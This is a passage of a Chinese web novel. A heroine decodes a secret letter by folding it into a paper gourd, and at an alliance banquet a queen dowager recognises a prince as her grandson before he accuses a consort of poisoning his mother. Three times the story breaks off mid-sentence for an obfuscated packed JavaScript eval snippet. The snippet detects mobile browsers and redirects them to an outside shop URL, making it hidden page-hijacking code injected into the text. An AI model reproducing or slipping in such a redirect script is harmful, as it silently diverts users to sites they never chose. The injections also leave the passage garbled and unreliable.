他只愿朗朗乾坤清明如今日,阳光驱散风雪,美好得以珍存,爱人永伴身边。 陆铃儿伸手接过梅花,抬起头笑意盈盈地回道: “此亦是我所愿,阿砚,不论如何,我都会与你一起,共创这雪霁、梅香、人圆。” 她相信,这一天的到来,已经不远了。 容砚紧了紧相扣的手指,扬唇轻道: “好,我们一起。” 接下来的大半月,陆铃儿的身体逐渐康复。 温葭得到消息,还专程前来解忧阁探望,陆铃儿在一片关爱之中,基本恢复到了受伤前的状态。 如今她暂时无法出任务,便时常往长宁城跑,希望能找到解开密信的线索。 她已经开始采用新的思路去解密,既然密信是卷起来的,没有折痕,那会不会解密之法与折痕有关呢? 她也是近日转换思路时才想到,这种卷起的信纸,特别适合用折痕法加密,折痕交叉处指向的字,便是密信真正的内容。 她用密信的临摹本试了很多种信纸的折法,可折痕指向的字总是不对,难道,这个思路方向还是错了? 不行,她这才试了几种折法,还得再多试试才行。 对了,这折法,应该还与闵宏达有着什么关联。 想到此处,陆铃儿脑中似有什么东西一闪而过,待她回头再寻,却已经难觅踪影。 在陆铃儿前去寻找解密线索之时,容砚也是调来最精锐的暗卫相随, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见摊主一边取下白日里没能卖完的纸葫芦,一边吆喝道: “买花灯送年货纸葫芦喽!” 这纸葫芦虽说是朔国之物,但因其色彩鲜艳看着喜庆,逢年过节也颇受宁国百姓喜欢,可惜这纸折的小物不能当灯点,反正成本也不高,不如当做花灯的赠品讨个好彩头。 年货纸葫芦! 陆铃儿只觉脑中有什么东西一下击中了她,直震得她头皮发麻。 十年前为容砚庆生后路遇闵宏达的记忆瞬间冲入脑海,是了,当时闵宏达手里拿着的,不是别物,正是这个纸葫芦。 先前她只疑惑闵宏达竟会亲自买年货,却不记得他到底买了什么,今日她终于记起来了,这其中的关键,也被她一下想通了。 他当年哪是买什么年货,怕是早在那时,就开始与朔国暗传什么消息了吧。 亏她还把纸葫芦揣了这么久,直到今日摊主的一声年货纸葫芦,才一语惊醒梦中人。 “怎么了陆铃?” 容砚见陆铃儿面色有异,语气中暗含了几分担忧。 陆铃儿卡白着脸,急急道: “阿砚,抱歉今日不能再逛了,我想通了一事,需得尽快回去验证。” 陆铃儿转身欲走,容砚却一把拉住了她: “去靖王府。” 回解忧阁还得去江边乘船,相比之下,去靖王府会快上许多。 “好。” 陆铃儿当即同意,与容砚一道,匆匆回了靖王府。 一到进墨苑主屋,她便立刻转手翻出密信,也顾不得用临摹本了,直接在密信上动手折了起来。 事关密信,容砚亦知此事有多重要,他曾未多言,只眼神紧盯陆铃儿手上的动作。 不一会儿,陆铃儿便将密信折成了一个圆鼓鼓的纸葫芦,只是刚一折成,她又立刻将其拆开。 当纸张再度平展,陆铃儿顺着折痕的交叉处一个一个找出对应的字后,顿时有如被雷劈中,震惊得心都快跳出来了。 她与容砚对视一眼,两人皆从对方眼中看到了不可置信。 万没想到,密信里藏着的,竟是这样的惊天阴谋! 陆铃儿此刻才终于明白,陆家为何会惹来杀身之祸了,将这样的秘密握于手中,对方怎么可能不起杀心。 闵宏达之阴狠,远超她的想象。 “阿砚,我们……接下来该怎么办?” 容砚眸中震惊仍在,但已很快镇定下来: “照目前的情况来看,他们怕是在两国会盟上有大动作,幸好现在离会盟还有月余,一切都还来得及。” 他深深地看向陆铃儿的眼眸,轻叹一声道: “陆铃,我也有一个不亚于此的秘密,本来从未打算揭开,既然密信如此,看来终需昭告天下了,今日,我便说与你听。” 他的事从来不想隐瞒陆铃儿,此前的两个身份是陆铃儿自己猜到的,他一直没有机会开口,这一次,他会主动将秘密告诉她,接下来他们将会一起,去打一场硬仗。 容砚在陆铃儿惊诧的眼神中,将自己最后的秘密和盘托出,接着,便立即开始准备对策。 在紧锣密鼓的筹谋之中,一封密报悄然送到了安国。 开春便是两国会盟,希望一切,都还来得及。 76. 第 76 章 二月初十,两国会盟如约在靖州拉开了帷幕。 靖州位于安宁两国交界处,会场所在的安宁苑,更是地跨两国,两端分别有兵力值守,是为最适合的会盟之地。 安宁两国对此次会盟都很重视,双方政要大多随行前往,以推动两国和平,共同抵御朔国。 宁国这边,除了宁帝携闵贵妃前往,随行的还有徐王容玮与靖王容砚,就连停了职的闵宏达,也因会盟而复职同往。 安国来的也全是重量人物,安帝穆明携同太后薛岚,以及太子穆洲,都一起来了。[1] 当然,两国的政要虽是到了靖州,都城却没有因此而放松,皆加派人手做足了妥善安排,不会让人在此期间有可趁之机。 陆铃儿也随容砚一起来到了靖州,自密信被解开之后,她比任何人都清楚此次两国会盟有多重要,亦有多凶险,但这一趟她非来不可,不仅是为陆家,也为安宁两国。 安宁苑中,两国皇帝正坐于高位,对两国未来的和平发展进行协商。 其实这安宁两国,百余年前也曾是一个统一的大国,只是后主昏庸无能,国内硝烟四起,最终穆、容两家各自为据,大国一分为二。 两国开国皇帝以安、宁为国号,就连都城也分别命名为永安与长宁,便是希望不再有征战,百姓永葆安宁。 可惜数年过去,两国间又是摩擦不断,双方再次开战,直至那异族朔国逐渐壮大羽翼,野心勃勃意图侵占中原。 两国同为中原大国,唇亡齿寒的道理哪有不知,在双方主和派的推动下,两国会盟便这样开启了。 只是眼观这两位帝王,宁帝侃侃而谈,安帝却稍显气势不及,时不时还会拿余光瞟一眼侧方的薛太后。 反观那薛太后倒是魄力十足,即使鬓角早已生出白发,也遮掩不住她周身的气场,或者说,她比安帝更像一国之君。 其实这么说也没错,别看安帝如今已逾不惑之年,安国的掌权人,却一直还是这位薛太后。 说来也是造化弄人,武将出身的安国太后薛岚,早年间与安国先帝一心想要统一中原,却在前往安宁两国的交界处,也就是现在所处的靖州遭遇了埋伏。 一夜之间,安国先帝身亡,年幼的嫡长公主失踪,她一人回到安国,立彼时还是少年的庶子穆明为帝,并因这场变故恨上了宁国,多年争战不断。 怎奈这安帝穆明虽有称帝的野心,却无为帝的能力,薛太后始终无法安心放权与他,这一听政就是三十余年。 宁帝敛下眼中对安帝的一抹轻视,仍与之友好相商着。 因着早年间的那些恩怨,安宁两国征战数年,最大的主战派便是安国薛太后,虽然近两年态度有所松动,但此次和谈最重要的,还是要看她的态度。 好在此次薛太后外敌当前也放下了私心,会盟和谈进行得很顺利。 经过三天的协商讨论,两国达成多项共识,止干戈共御外敌。 二月十二,会盟结束之后,两国人员于安宁苑共进晚宴。 安宁苑虽是地跨两国,主要归属仍在靖州,今日晚宴一切事宜,便由靖王容砚主理安排。 安宁两帝分别坐于主位,薛太后与闵贵妃各坐于侧,其他随行人员则按国别坐在下方位置。 不多时,佳肴上齐,助兴的歌舞也随之而起。 此番会盟顺利落下帷幕,在场之人终是卸下了心防,兴致颇佳地品美食、赏歌舞。 一曲演奏完毕,一个娇俏的身影站上了舞台。 主位上的宁帝还没太反应过来,他身边的闵贵妃已恨恨地咬起了牙。 又是这个陆铃儿,她不但在寿宴之上坏了他们的好事,还惹得玮儿险些与闵家离了心,真是该死! 说来她还真是命大,伤成那样都没死,今日站上这舞台,不知道又想耍什么花样。 不止是闵贵妃,闵家一派看向陆铃儿的目光都有些意味不明,只不过,容玮又与其他人不太一样。 之前陆铃儿重伤不醒,闵家一派全都在笑,只有他一人,心痛到难以呼吸,他终究是放不下她,明知她从未爱过,还是无法眼睁睁看她受到伤害。 为此他到闵家质问外祖闵宏达,彼此闹得很不愉快,就在他险些与闵家翻脸之时,外祖告诉了他一个秘密。 这个秘密震得他多年的信念几欲崩塌,最终还是与闵家站在了一起。 他如今,只能选择闵家了,至于陆铃儿,事成之后他定会好好将她关着,强行占据她的所有,绝不会像上次那般纵容于她了。 就在容玮思绪万千之际,舞台上的陆铃儿已开始表演了。 这次的彩戏与寿宴不同,全都不是大场面,而是一些令人眼前一亮的小把戏,尤其是她变出的数只白鸽,寓意和平的巧思令所有人惊喜又开怀。 不仅如此,她还走下舞台,与席上之人互动,宁国这边已有不少人认出她就是寿宴上表演麻姑献寿的彩戏师,喝彩之声又大了几分,席上氛围好不热闹。 薛太后今晚一直兴趣缺缺,直至看到陆铃儿的表演,这才有了几分兴致,她招了招手,示意陆铃儿到主位上来。 陆铃儿会意上前,与主位四人也互动起来。 四人当中,薛太后与安帝确实在看表演,宁帝与闵贵妃就有些心不在焉了。 与闵贵妃的恨意不同,宁帝此刻看向陆铃儿的眼神颇有些复杂。 他的确是欣赏陆铃儿的技艺,也满意于她上次的献礼,但再如何欣赏,她也不过是个民女,怎能与他宁国的皇子出双入对?简直是不成体统! 自从寿宴过后,他对容砚的态度有了不小的转变,但这并不代表他会放任这个儿子连门当户对、尊卑有序的道理都不顾。 他还想找容砚好好说道说道,容砚倒好,直接将人带到两国会盟上来了! 他紧盯着陆铃儿,想要看清她到底有何不同,竟惹得他这不争气的儿子如此不顾礼法,还对外声称她是其未来的夫人。 没想到这一细看,竟令他心头突地一跳。 上次陆铃儿先扮少年后演飞天仙女,他其实并未看清她的真实面貌,今日细细瞧来,发觉她越看越像一位故人。 只是那人早在十年前便全家遇剌、无人生还,不应还有后人存活于世。 等等,这彩戏师也姓陆? 他记得那人的确有个女儿,如果他的女儿还活着,应该就是眼前这般模样吧。 思及此,宁帝眸色渐渐暗了下来。 这边宁帝还沉浸在自己的思绪里,主位的另一边,薛太后本与安帝在专心看彩戏,却在不经意瞥向陆铃儿腰间之后,脸色陡然大变。 她如遭雷击一般,怔了好几瞬,复又抬起凤眼,将陆铃儿细细打量,像是透过她在寻找什么人的影子。 不多时,陆铃儿表演完毕,席上掌声四起,主位之上,唯一全程专注看表演的安帝,也忍不住点头称赞。 陆铃儿此时正欲退场,宁帝还没来得及出声令其止步,却被薛太后抢了先: “彩戏师请留步,你且告诉哀家,你姓甚名谁,身世为何?” 所有人都以为薛太后这是满意方才的表演,欲问明身份为陆铃儿行赏,只有宁帝斜目朝主位另一侧暗自一瞥。 薛太后倒是抢先问了他想问的,不过,她绝对不止行赏这么简单。 陆铃儿停下脚步,恭敬回复道: “回太后,小女子名为陆铃儿,师从宁国彩戏师幻人张行艺十年,现在的身份是一名解忧师,以彩戏之巧劲为民解百忧。” 薛太后闻言若有所思,宁帝也对方才的猜想又肯定了几分。 行艺十年?这便对上了。 这丫头倒也狡猾,这番回复既道出了自己的身世,又暗中藏下了父母的信息,不过,他还是看出来了, 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言罢她敛下眸光,朝容砚继续问道: “宁国靖王,敢问你又是如何得到这块玉佩的?” 薛太后话说到这里,所有人都觉出不对味来,这口气听着怎么像她才是玉佩的主人? 尤其是安帝,他疑惑地看向薛太后手中的玉佩,万分不希望在会盟夜宴会上节外生枝。 可惜今晚注定会令他失望,只听容砚开口回复: “此玉佩,乃是小王生母遗留之物。” 儿子拥有故去母亲之物,这本是再正常不过之事,但今日被薛太后这么问起,就太不正常了。 众人皆知,容砚的母亲许美人,乃是一介歌女,一朝承恩有了龙嗣才被封的美人,她的遗留之物,薛太后怎么会认识? 宁帝也诧异地将目光移向玉佩,他可以肯定,这并非是宁国皇宫之物。 在他的印象中,那薄命的许美人从未佩戴过什么贵重之物,她怎会有这样一块质地上成、连安国太后都认得的玉佩? 他突然意识到,今晚已经在朝着一个意想不到的方向发展了。 不止是宁帝,闵家一派在场的三人,心中皆是一个咯噔,今晚之事,怕是有变。 主位之上,薛太后闻言竟是一脸悲色: “生母?遗留之物?” 她缓了片刻,才又继续问道: “可否与哀家讲讲你的生母,她是何年故去,去时又是几岁?” 这一问,在场所有人都愣住了。 安国太后,居然在意靖王的生母?那个歌女? 任谁也不可能将这样两个八竿子打不着的人放在一处想,可薛太后,偏偏就这样问了。 宁帝眼眸一眯,薛太后,许美人,难道?! 下方的闵宏达,耷拉的眼皮重重一跳,不好,万没想到,事情会朝这个方向发展。 “小王生母名唤许莺,自小流落在外,因歌喉出众被选作宫中歌女,一朝承恩受封为美人,却因身体抱恙于十六年前去世,殁时,二十岁。” 容砚的生母出身低微,今日两国这些政要们,往常谁听了都难免会轻视一番,可今日,在场每一个人,却越听越心惊。 此前他们从没有一个人,把许美人与薛太后联系起来,今日放在一处串起来看,桩桩件件竟全都对得上。 自小流落、歌喉出众、年龄相仿,还有薛太后在意的玉佩…… 此时再看薛太后,多年强势如她,眼眶竟也开始泛起了红。 她召容砚上前来到她面前,细细打量着他的眉眼,然后沉声说道: “哀家竟是今日才知,你便是哀家失散多年的亲外孙。孩子,你与你的母亲,都受苦了!” 77. 第 77 章 薛太后的话,如同一声惊雷,炸响在晚宴之上。 容砚亦是一脸惊诧,狭长的瑞凤眼眸光闪动,就连声音都似带有微不可查的轻颤: “外孙?难道说……” 薛太后凤目之中有泪水在凝聚,她点头,用场中所有人皆能听到的声音,肯定答复道: “不错,你的母亲,便是哀家那苦命的女儿,穆玥!” 此言一出,晚宴上下,全场哗然。 所有都人都被这个惊人的消息震得目瞪口呆,半天说不出话来。 歌女出身的许美人,真实身份竟是安国长公主?这也太不可思议了! 再一细看,容砚与薛太后的面容,还真有几分相似,尤其那双眼睛,皆是长而明亮,如凤凰于飞,颇具风致。 薛太后纵是平日见惯了大场面,泰山崩于前也能毫不变色,此刻却难掩激动,情绪少有的外露。 她紧紧地盯着容砚的脸庞,那眼神似慈爱似疼惜,透过微闪的泪光,寻找着故人的痕迹: “哀家寻了三十四年,终于找到了玥儿的下落,只是没想到——” 薛太后眸色瞬间黯淡下来,神色似悲似愤: “没想到哀家的玥儿,早在十六年前,便……不在了。” 原来,安国长公主穆玥,是先安帝与薛太后唯一的掌上明珠,不仅生得可爱,声音更如天籁,帝后二人皆对她疼爱不已。 三十四年前,安宁两国边境时有战况,帝后二人皆有一统中原之心,便亲征上了战场。 谁成想,时年三岁的小公主穆玥,因舍不得离开父母,竟悄悄躲进了随行的马车之中,待他们发现之时,队伍已到了靖州边境。 帝后还来不及责罚穆玥身边之人照管不利,便中了埋伏,两人被乱军冲散,先安帝身中数箭,拼死护住女儿到得安全之地,他却倒在了血泊之中。 待薛太后赶到之时,先安帝已亡,小公主穆玥却失了踪,甚至连安帝身上暗藏的玉佩也不翼而飞。 就这样,薛太后将这笔仇怨算在了宁国头上,开始了对宁国多年的征战,与此同时,她也从未停止过寻找穆玥。 她有种感觉,穆玥当时是带着玉佩来寻她的,只是与她走岔了,兴许再在附近找一找便会出现,谁知这一找,就是三十四年。 她不敢想象,小小的穆玥,是怎么躲过乱军,又是怎么一个人颠沛流离,最终到了宁国皇宫的。 出事那年,穆玥年纪尚幼,多年下来早已不记得自己的真实身份,被人命名为歌唱之莺,却把保存好玉佩这件事,记了一辈子。 她这个可怜的女儿,没能等到她们母女相认,就早早离开了人世。 容砚此时亦是动容不已,他正欲开口,主位上的安帝却坐不住了: “母后如此认亲,是否太过草率?” 他有些不太敢看薛太后投来的目光,却还是清了清嗓音,梗着脖子继续说道: “若有同龄的擅歌之人拿了这块玉佩,岂非全都可称我安国的长公主了?” 安帝话音刚落,下方的安国太子穆洲也立即随声附和道: “父皇所言极是,认亲之事,还望皇祖母明查。” 安帝父子两人的话,令场上一时议论纷纷。 有人表示赞同,认为光凭玉佩与年龄特点,便认定许美人就是安国长公主穆玥,证据还是稍显薄弱。 如安帝所说,万一那玉佩刚好被同龄擅歌之人所得呢?再说了,许美人在世之时,也从未表露过与安国有任何关系。 毕竟是皇室嫡出,认亲这件最事,可来不得半点马虎。 当然,也有人不以为然,若容砚真是安国长公主所出,受这事影响最大的不是宁国这边,而是安帝父子俩。 安国的风俗与宁国不同,宁国看重男女之别,安国却更重嫡庶尊卑,嫡女的地位更在庶子之上,史上也曾有过嫡公主为女帝,当年若穆玥没有失踪,此时的安帝,便是位女帝了。 当年穆明这位庶子,可以说是捡漏得的帝位,如今听闻嫡长公主有后,他们父子两人震惊之余,眼中皆是防备与暗恨。 哪怕对方是宁国的皇子,不太可能来争他安国的皇位,但这样的身份终究是个隐患,绝对不能让其坐实了。 薛太后似是早就料到安帝父子的反应,冷哼一声道: “皇帝说的极是,既如此,那便滴血认亲吧!” 话音一落,所有人皆是脸色一变,接着主位之上便响起了一道女声: “等等,今晚这一出,倒是给本宫整糊涂了,安国之人,要验我宁国皇室的血?” 这声音来自宁帝身侧的闵贵妃,她从薛太后留下陆铃儿起,就感到事有不妙,没想到,竟是这样的惊闻。 她不由得恨得牙痒痒,无论如何也不敢相信,许莺那个贱|人,竟会有如此高贵的出身。 不止是她,今晚在场的闵家一派都是一脸不可置信,容砚薛太后嫡孙这个身份,对他们来说极为不利,必须要阻止其滴血认亲。 是以闵贵妃出声打断,并将目光移向了宁帝。 方才她抬出宁国皇室,就是想让宁帝开口拒绝,毕竟一国皇子被别国滴血认亲,还在两国众目睽睽之下,这样荒谬的事,此前听都没听过。 目之处及,宁帝的脸色亦是暗沉无比,他根本没将视线落于她身上,而是目光扫过容砚,朝薛太后沉声开口道: “无碍,薛太后尽管验!” 谁也不知道,许美人即是安国长公主穆玥一事,在宁帝心中陡然掀起了多大的风浪。 靖王容砚,他这个最近才重视起来的儿子,身体里除了流得有宁国皇室的血,还拥有安国血脉? 原来那天机,竟是这个意思,怪不得,怪不得啊! 想到天机,宁帝的眼眸又暗了下来。 想他容朗,自诩为政勤勉,为宁国江山操劳一生,却有个不为外人知的秘密,他深信玄学,而且窥到了天机。 彼时他寻到了高人隐士玄知子,以帝王的精诚所致,换来了玄知子的三卦,一卦他寿数不出甲子,二卦宁国气数已尽,三卦他并非亡国之君。 三卦之后,玄知子坐化,而宁帝,则为此忧虑了半生。 他从未与人说过这天机,却无时无刻不在寻求解决之道,这些年来,他身体虽无不妥,忧思却时常惹来头痛心悸。 若宁国真的气数已尽,他又非亡国之君,那便意味着,他的继任者,便是将宁国推向灭亡之人! 他暗中找来术士,在每一位皇子降生之时便细细推算,最终有命格继承皇位的,只有长子容珏,与四子容砚。 彼时容珏太子已立,而容砚这个歌女所生的第四子,从一出生他就讨厌上了。 多年来,他对这两个儿子心怀芥蒂,十年前太子容珏谋逆一案,他虽觉不可信,又觉天命难违。 至于容砚,他厌弃了二十年,直到寿宴之上,其献上的寿礼讨了他的欢心,他想,许是那天机已破,才有这如此吉兆。 他越来越满意容砚,也越来越认为,他之所以两个儿子都有帝王的命格,是因为一个是天机所示,一个则是天命所归。 他本以为,他会像寿宴上所祝愿,打破天机的诅咒,福寿无疆、国祚绵长,没成想,容砚竟有着这样的身世。 可笑他怎会以为天机已破,这天机,分明在这里等着他,若他把宁国交到容砚手里,会否刚好如天机所预言一般,直接导致宁国的灭亡? 他倒要看看,这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛太后凤目朝主座上一瞥,然后越过安帝,看向了对侧若有所思的宁帝: “宁国皇帝,还没来得及问你,哀家的玥儿自幼身体康健,如何就年纪轻轻殒命在了你宁国后宫?” 薛太后此言颇有几分责备的意味,问得在场所有人心中一跳。 后宫之中,年纪轻轻就殒命的女子还少吗?尤其像许美人当初这样无母族所依的,谁也不敢打包票,她的离世毫无疑点。 他们将目光投向了宁帝与闵贵妃,安宁两国好不容易达成协议、会盟成功,若是因这位故去的长公主闹翻,那可是大大的不妙。 宁帝也从方才的思绪中回过神来,他侧身朝着薛太后回复道: “许……长公主当年因生产亏空了身子,朕请尽名医,亦是无可奈何。” 宁帝自问所言非虚,当年的许莺,虽是身份低微,但其过人的美貌与婉转的歌喉还是入了他的眼的,只是没想到,她一有身孕,身子就一天天差了下去。 后来诞下皇子,自己身体亏空不说,连生下的这个孩子也病秧秧的,他的确是请过太医诊治,但许莺根基既损,已没有治愈的可能。 薛太后闻言却是眼眸一眯: “哦?是吗?” 容砚先前验血过后,正欲带着陆铃儿退下,听闻谈及生母故去之事便又停了下来,此刻他更是上前一步,朝着宁帝躬身一揖,沉声道: “父皇有所不知,儿臣的母亲,死得蹊跷。” 78. 第 78 章 这一声落下,夜宴上的每一个人,都被容砚的话震得发不出声音,只心惊胆战地睁大了眼。 今晚真是大事一件接着一件,每一件都远超他们想象,直震得人头皮发麻。 靖王容靖,这是要当众为母亲伸冤? 今日之前,他并无母族撑腰,母亲也只是歌女出身的美人,就算真是被人所害,放在后宫之中也没人会在意。 如今却是不同了,许美人一夕之间从歌女变身为安国嫡长公主,此时为其喊冤,不论是宁帝还是薛太后,都无法置之不理。 要是换作其他场合,容砚要怎样替母亲伸冤都不为过,但此时两国会盟尚未完全结束,在这个时候提出,就有些微妙了。 要知道,今日两国刚刚握手言合,若为此事再次陷入困境,那可就不妙了。 此刻所有人都在震惊,只有一人眼中闪过一丝慌乱,这人不是别人,正是主位之上的闵贵妃。 今晚之事实在是出乎意料,她还没从容砚是薛太后外孙的事实中回过神来,他便在大庭广众之下,要为他那个贱|人母亲伸冤了。 这一切,看似不经意,却是一环扣一环,就好像先前的认亲,就是为了用在此处似的。 闵贵妃心中猛跳,不论是不是她多心,都必须得阻止容砚将此事再扩大下去。 而她身侧的宁帝,在惊诧之余,更带有几分不易察觉的怒意。 方才的滴血认亲,容砚有安国血统已成实事,宁帝对他的芥蒂比以往任何时候都要深,此时他竟还在会盟夜宴上替母伸冤! 就算许莺死因有异,他就这么迫不及待、不分场合就提吗? 容砚到底还有没有将他这个父皇放在眼里?有没有将整个宁国记在心上? 宁帝与闵贵妃二人皆想立即止住这个话题,可惜速度都比不上薛太后的爱女心切。 容砚的话音刚落,她便惊怒地以掌击案: “中毒?” 宁帝与闵贵妃未曾开口的话语,生生被打断在了口中,但见薛太后面色带着愠怒,发间的步摇狠狠晃荡: “怪不得玥儿如命薄,原来竟是有人下毒!为何当年只以病弱处置?你又是如何发现此事的?” 薛太后的话问向了容砚,他正欲开口,宁帝的声音先行响起: “靖王,事关两国邦交,你想清楚再说。” 宁帝话中警告意味明显,他实在是不希望,这样的事放到会盟夜宴上来说。 容砚抬头望向宁帝,狭长的瑞凤眼从容中又带有几分意味深长: “父皇无需顾虑,今日将此事说开,并不会伤害两国邦交。” 宁帝不甚明白容砚的话中之意,但这逆子话已出口,不论今日说与不说,薛太后势必不会善罢甘休,倒不如听听,他有何话说。 见宁帝没再阻拦,闵贵妃眼中慌乱更甚。 她不知道容砚是如何得知当年那些隐密之事的,但今日在夜宴之上,绝不能让他继续说下去。 她抢先一步,朝容砚开口道: “靖王,后宫之事,还是待夜宴过后再说吧!” “怎么?刚才还事关两国邦交,现在又是后宫之事了?” 薛太后狠狠给了闵贵妃一记眼刀,声音亦如刀锋般冷锐: “闵贵妃如此不愿提及此事,难道,长公主中毒与你有关?” 闵贵妃顿时脸色一白: “薛太后慎言,本宫绝无此意!” “既无此意,那便不要再打断哀家外孙发言!” 薛太后历来强势,闵贵妃被驳得哑口无言,心中无措,直将目光移至主位之下,一路掠过容玮,最后停在了闵宏达的身上。 闵宏达显然也没料到今晚会闹这么一出,松弛的面皮下也是一脸惊怒,感受到闵贵妃的视线,老眼暗暗一眯,朝她摇了摇头。 闵贵妃这才心中踏实了些许,她的确不该自乱阵脚的,当年之事极为隐密,容砚就算有所猜忌,也绝对拿不出证据。 此时无人再强行打断,容砚镇定站在主位案前,讲述起母亲许莺,也就是安国长公主穆玥中毒一事来。 自他有记忆起,他们母子两人便都是病秧子,母亲穆玥身体更是一天不如一天,去世前的那段日子甚至咳出了黑血,请了太医也无济于事。 不久穆玥去世,年幼的容砚不舍亡母,拖着小小的身子,守在母亲的灵前不愿离去,也正是这个时候,发生了一件事。 一名小太监竟趁着夜色,蹑手蹑脚到摸到穆玥灵前偷东西。 要知道,穆玥只是个美人,即便生下皇子也并不得宠,身边没什么值钱之物,偷东西此举本就十分怪异。 更怪的是,他并非四下寻找可偷之物,而是径直去取穆玥腕上的一串檀木手串。 这小太监显然没想到容砚还守在灵前,彼时他年岁虽小,也知保护母亲之物,不顾危险冲上去想要夺回手串。 按说小而病弱的他根本不是一个成年人的对手,但他却不知哪里来的力气,就是死死攥住手串不放,最后手串断开,木珠滚落一地。 那小太监狠狠踹开他,摸黑在地上拾走散落的木珠便悄然离开,却不知黑色太浓,他遗落了三颗木珠并未拾走。 事后容砚收好遗落的珠子,想要找宁帝评理,却发现根本见不到宁帝的面,就算好不容易见到了,宁帝对他也并不关心。 而那名偷东西的小太监,他并不知其来自何处,此后更是如同消失了一般,再未见过。 后来这些年,他保管好那三颗木珠从未示于人前,直至他到安国为质,机缘巧合遇上了正云游四方的圣手仙人栖云子。 栖云子不但治好了他的病,教他武艺强身健体,还同时诉他,他这从娘胎里带来的病,根本不是自身体弱,而是因毒所致。 他惊诧不已,虽觉希望渺茫,还是请栖云子帮他一件一件排查身边之物,最终,查到了手串遗落的三颗木珠上。 直到这时,他才知道,他的母亲竟是早就被人暗中下了毒,她的死因原来不是体弱,而是有人藏在背后暗害于她! 他也终于明白,那年的小太监为何要专程来偷手串,原来竟来为了销毁证据的。 容砚讲述完后,从怀中呈上一个小巧的锦盒: “这便是那遗落的手串木珠,师父栖云子为其特制了可隔绝毒气的锦盒,这些年儿臣一直将其带在身边,以寻出处。” 薛太后抢在宁帝与闵贵妃之前,命侍从容砚手中接过了锦盒。 那锦盒一经打开,檀木的香气便散发开来,只见盒内有三颗木珠被串在一起,仅从表面上看,谁也看不出这样的珠串会有毒。 那锦盒也由薛太后的侍从出示给了主位上另外三人,他们三人神色各异,宁帝若有所思,而闵贵妃则勉力地压制住了面上的惊慌。 薛太后又召随行的太医上前分辨,那太医望闻过后,又拿银针辨认了一阵,这才确认道: “这檀木珠中的确藏有剧毒,只是檀木香气浓郁,实难发现有毒气混入其中,此物若随身携带,必将中毒而亡。” “若是怀有身孕之人佩戴此物呢?” 面对薛太后的连声询问,太医摇头叹道: “若孕妇佩戴此物,腹中之子难保,就算有幸保住,也会毒气入体,终生缠绵病榻。” 太医之言,坐实了容砚母子正是被人用这毒手串所害,以致一个早早身亡,一个体弱多病,而那背后下毒之人,还藏于暗中不知其是谁。 不过,其实这人也不算太过难猜,穆玥当年仅是个歌女出身的美人,毫无背景还身怀龙嗣,当然会引起后宫之人的嫉恨。 也就是说,这下毒之人定是出自宁国后宫。 薛太后凤目朝宁帝狠狠一瞪: “宁国皇帝,你就是这样任后宫之人欺凌哀家女儿的?” 宁帝心里也是一个咯噔,他也是今日才知,穆玥之所以会早亡,原是被人下了毒。 他记不起第一次见她是在几时,但他也是为其美貌与歌喉而心动过的,只是她有孕不久,便一直病病歪歪,他直嫌晦气,便远离了她。 后来容砚出生,他命术士算出其命格之后,更是对这母子二人厌弃不已,他们所在之地,与冷宫无异。 想来他的确对穆玥是有所亏欠的,但薛太后一副兴师问罪的模样令他心下有了几分怒意。 怎地,她一个安国的妇人,还想插手他宁国之事? 容砚这个逆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177156|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,这就是他说的,于两国邦交更为有利? 他正欲反驳,却听容砚先行朝薛太后开口道: “皇祖母息怒,与其问责,不如先问问太医,这手串被下了何种剧毒,这毒又是出自何方?” 听闻容砚此言,众人的目光又看向了太医,只见他沉声继续说道: “此毒名为透骨煞,中毒之人看似与体弱无异,却不知一但毒气入骨,再难医治,然此毒并非中原之物,而是来自朔国王族。” 朔国王族?! 众人的眼珠子瞪得一个比一个大,今晚这场夜宴,牵出的事一个比一个震惊,若没有一颗强大的脏,还真无法稳坐于座席之上。 怪不得容砚先前说,其生母中毒的真相不会伤害两国邦交,原来这背后,还有朔国的手笔。 试问有哪个宁国后宫之人能握有朔国王族的毒物?这也就是说,下毒之人与朔国王族有着联系,那这其中的关系,可就大了。 主位之上,这四位关键人物皆是惊骇不已,且不说想要为女儿讨说法的薛太后,就连方才一副宁国之事岂容他人插手的宁帝,此时亦是瞪圆了双眼,心惊得砰砰直跳。 他怎么也想不到,这件事还会与朔国扯上关系。 难道说,她的后宫之中,有朔国的奸细? 想那朔国蛮邦,本是游牧于北方草原上的异族,不仅生彪悍,还擅长巫术与毒药,这些年更是在边境上异动频繁。 今日他们两国坐在一起,正是为了共同抵御这狼子野心的朔国,没成想,早在二十年前,他的后宫之人就与朔国建立了联系? 他侧目看向闵贵妃,这些年她主理后宫,不知她是否有什么线索。 没想到,闵贵妃却是面色卡白,震骇得身子都在发颤。 见闵贵妃给不了他有用的信息,他又将目光投向了容砚。 这逆子既然方才那么问,那也就是说,他已经知道了此毒的出处。 “下毒之人是谁?” 宁帝与薛太后的声音同时响起,他们此时都迫切想知道,这个勾结朔国,暗害长公主之人,究竟是谁。 容砚目光细细扫过主位上的四人,眸中的冷意越来越甚: “儿臣追查此事多年,终于发现当年赠母亲手串之人便是——” 他冷冰的眸光定于其中一人身上: “便是你,闵贵妃!” 什么?用朔国的毒暗害安国长公主之人,竟是闵贵妃?! 所有人的目光,直直射向主位之上的闵贵妃,只见她似是受了惊吓一般,脸色苍白无比,眼神几经闪烁后,银牙一咬,朝容砚恨恨道: “一派胡言!本宫岂容你如此诬陷!” 